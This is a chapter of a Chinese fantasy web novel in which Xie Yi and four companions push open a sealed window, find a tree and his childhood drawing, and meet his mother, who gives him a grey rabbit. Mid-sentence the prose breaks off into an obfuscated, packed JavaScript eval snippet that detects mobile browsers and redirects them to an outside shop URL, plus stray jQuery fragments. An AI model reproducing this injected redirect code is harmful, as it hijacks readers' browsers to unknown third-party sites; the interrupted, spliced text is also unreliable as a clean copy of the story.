谢意是在凌晨醒过来的。
他不知道自己睡了多久。窗外的夜色依然浓稠，像一块被反复浸染的黑布。客厅里的夜灯亮着昏暗的暖光，把其他四个人的轮廓照成模糊的影子。他坐起来，动作很轻，从地板上站起来的时候膝盖微微响了一声。他走到主卧门口，推开门走了进去。
窗帘还拉着，不透光。房间完全黑着，只有门缝漏进来的微光在地板上铺了一线。他走到窗边，伸手拉开窗帘的一角。窗外的暗色比昨晚更沉了，像墨汁被倒进了水里还没搅散。那道缝隙——他贴着玻璃看了几秒才找到它——停在窗户右下角偏上的位置，比昨天记录的任何一次都低。
光线在变弱。缝隙在下降。他放下窗帘，走回客厅，在沙发上坐下来，没有开灯。他坐在黑暗里，等着。
过了一会儿，客厅另一头传来细小的动静。林安诚从沙发角落里坐起来，重瞳在黑暗中适应了一会儿之后准确地落在谢意坐着的位置上。她抱着灰兔子，光着脚走过来，在他旁边的沙发上坐下来，没有说话。又过了一会儿，许清寒从餐桌边抬起头，看见两个坐在黑暗里的人影，他站起来，也走了过来。然后是江野，他从沙发另一侧翻了个身，迷迷糊糊地问了一句"几点了"，没人回答，他揉了揉眼睛也坐起来了。最后是徐晓，他从次卧门口探出头来看了看客厅里四个人的影子，推了推眼镜，在江野旁边坐下来。
五个人在黑暗中坐成了一排。
没有人说话。但五个人的呼吸在安静的客厅里慢慢变得同步了，像一片缓慢起伏的水面，被同一阵风推动着。
窗帘边缘的黑色开始变淡。从浓墨般的暗色，变成深灰，再变成浅灰。天亮了。窗外的颜色正在缓慢地发生变化，像一张照片在显影液里逐渐显出轮廓。谢意站起来，走到主卧窗边。他拉开窗帘，晨光从窗外涌进来——那道缝隙已经移到了窗户底部正中央的位置，窄窄的一条，从缝隙里渗进来的光是暖的，橙黄色的。
他伸手推了一下窗户。封死的玻璃纹丝不动。但他推的时候，那道缝隙微微扩大了一点，像被他的力道推开了毫米级的空间。他又推了一次，缝隙扩大了一线。他继续推，这一次用了两只手，掌心贴着冰冷的玻璃，用力向前。缝隙在一寸一寸地扩大，边缘的玻璃发出细小的、像被挤磨的声响。
其他四个人站在主卧门口，看着他推那扇窗。江野走上去，把手覆在谢意的手背上，加了一份力。许清寒也走上去，把手叠在江野的手背上。徐晓站到了谢意另一侧，把手按在窗框边缘。林安诚走到窗边，踮起脚，把两只小小的手掌贴在玻璃上。五双手同时抵着那扇窗户，用力往前推。缝隙终于扩大到了足以让光完整地涌进来的宽度，窗框发出一声沉闷的"嘎——"，然后朝外打开了。
暖光迎面扑来。穿过那道扩开的缝隙的光不再是狭窄的一线，而是完整的一片——橙黄色的、带着温度的、像黄昏被提前了几个小时放出来的光。窗外不再是白色虚空。是一片田野，有一棵很大的树，天空是浅蓝色的。
谢意站在窗口，看着窗外那棵大树。就是他在梦里见过的那一棵。树冠茂密，枝叶在晨风里轻轻晃动。树下那片白色的碎石地面在暖光里泛着细碎的光。他翻过窗台，落在碎石地面上。脚踩上去的时候石子发出细碎的声响。他往前走了几步，然后停下来，站在那棵树的阴影边缘。
那幅画还在。用树枝画在碎石地面上的简笔画——两个牵手的火柴人，一大一小，中间连着一横。下面歪歪扭扭写着两个字："妈妈"。画已经被风磨淡了一些，但轮廓还能看清。
他蹲下来，伸手描了一下那个小火柴人的轮廓，指尖在碎石地面上划过，留下一道浅浅的痕迹。然后他站起来，看了一眼身后——其他四个人也已经从窗口翻出来了，站在碎石地面上，看着那棵树。
江野走过来，看了看地上那幅简笔画，沉默了一会儿之后说了一句："……你小时候画的？"
"嗯。"
"她在这棵树下抱过你？"
"……不记得了。"谢意说，"但应该是。"
他走到树根处坐了下来，背靠着粗糙的树皮。碎石地面在晨光里泛着暖意，树冠在头顶洒下一片片斑驳的光影。他坐在那里，紫眼睛看着前方的田野。田野里的草有一人多高，在晨风里像一片绿色的波浪。远处有一栋灰白色的房子，屋顶冒着炊烟，像一个被保存下来的旧日剪影。他有预感，他要找的出口就在那栋房子里。
他站起来，朝那片田野走去。碎石地面在脚下变软，变成了泥土，踩上去的触感变成了草叶和湿润的土壤。他拨开齐腰的草往前走，露水打湿了他的裤脚和衬衫下摆，带着一丝凉意和青草的气味。他走出草地的时候，站到了那栋灰白色房子的门前。门半掩着，门缝里透出来的光是柔和的暖黄色。他推开门走进去，看见一个年轻女人坐在窗边，低着头在缝一件东西。阳光从窗外照进来，落在她侧脸的弧度上。她的手指捏着针，穿线，打结，动作熟练而轻。她缝了一会儿，抬起头来。那颗虎牙在光照下闪了一瞬，她笑了。
谢意站在门内，看着她笑。
"……妈。"他说。
年轻女人放下手里的针线，把缝好的东西举起来给他看——一只灰色的兔子，和梦里的那个小孩手里的一模一样，耳朵一只竖着一只耷拉着。她把它递向他，笑着说："给你。"谢意走过去，接过那只兔子。布料的表面带着她的手温，能感觉到棉花填充的柔软轮廓。他握着它，指腹贴着兔子背上的布料，触感温暖而扎实。他握着那只灰兔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814557|210992||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子，站在那个被暖光照亮的房间里，站在那个笑着的母亲面前，喉咙里的声音被什么柔软的东西堵住了。
"我走的时候，你在门口站着。"他说，"你没有叫我。"
她看着他，笑没有收，但眼睛弯得轻了一点："因为我知道你会回来。"
"你怎么知道。"
"因为你答应过。"
她抬手，指腹在他眉梢虚虚地划了一下，没有碰到皮肤，但那股温度像隔着空气传了过来。"每一次你都答应过，每一次你都回来了。虽然晚了一点。但我不急。"
"如果这次又晚了呢？"
"那就再等。"她说，"我等过很多次了。不差这一次。"
她收回手，把那杯温水推到他面前。水是温的，水面平稳，映着窗外的光。
"喝完了再走。"她说。
谢意低头看着那杯水。水面倒映着他的脸，紫眼睛，瘦削的轮廓，眼下一片青黑。他端起那只搪瓷杯，水是温的，带着一点微弱的甜。他慢慢喝完，把空杯放回桌上。
她伸手接过杯子，指尖在杯沿上碰了一下，然后站起来："走吧。天快亮了。他们还在等你。"
谢意看着她站起来，走到窗边。阳光从窗外照进来，落在她的侧脸上。她的轮廓在光里慢慢变淡，像水彩画被水洇湿了边缘。
"……我还会回来吗？"
她回过头来对他笑了一下，那颗虎牙闪了一瞬："你每次都问这句。每次你问的时候，你就已经在回来的路上了。"她的面容在光里继续变淡，像一张正在被洗去的底片，只剩轮廓和笑意还留在空气里。
然后她彻底融入了光中，像一枚泡入热水的糖，一点一点化了。
谢意站在空荡荡的房间里。桌上的搪瓷杯还在，杯沿残余着一圈浅浅的水痕。他伸手碰了一下那只杯子，然后转身走出了门。
门外的田野和树还在，晨光铺满了整个空间。他沿着来时路走回去，穿过齐腰的草丛，走过碎石地面，走到那棵大树旁边。其他四个人依然坐在树荫下等他，他的脚步声在碎石地面上响起，所有人抬起头，然后他停在树荫里，手里还握着那只灰兔子。布料已经有些凉了，但依然柔软。
江野站起来看着他："你去哪儿了？"
"见了个人。"谢意说。
他低头看着手里的灰兔子，然后把它递给了林安诚。她接过去的时候重瞳微微睁大了一瞬，然后她把兔子抱进怀里，攥了攥它耷拉下来的那只耳朵，指尖按在兔子的耳朵尖上。
"走吧。"谢意转身，朝那扇敞开的窗户走去。晨光从窗外涌进来，把他的影子拉得长长的，投在碎石地面上。他没有回头。但他知道身后有四个脚步声跟了上来，踩着他的影子一起往前走。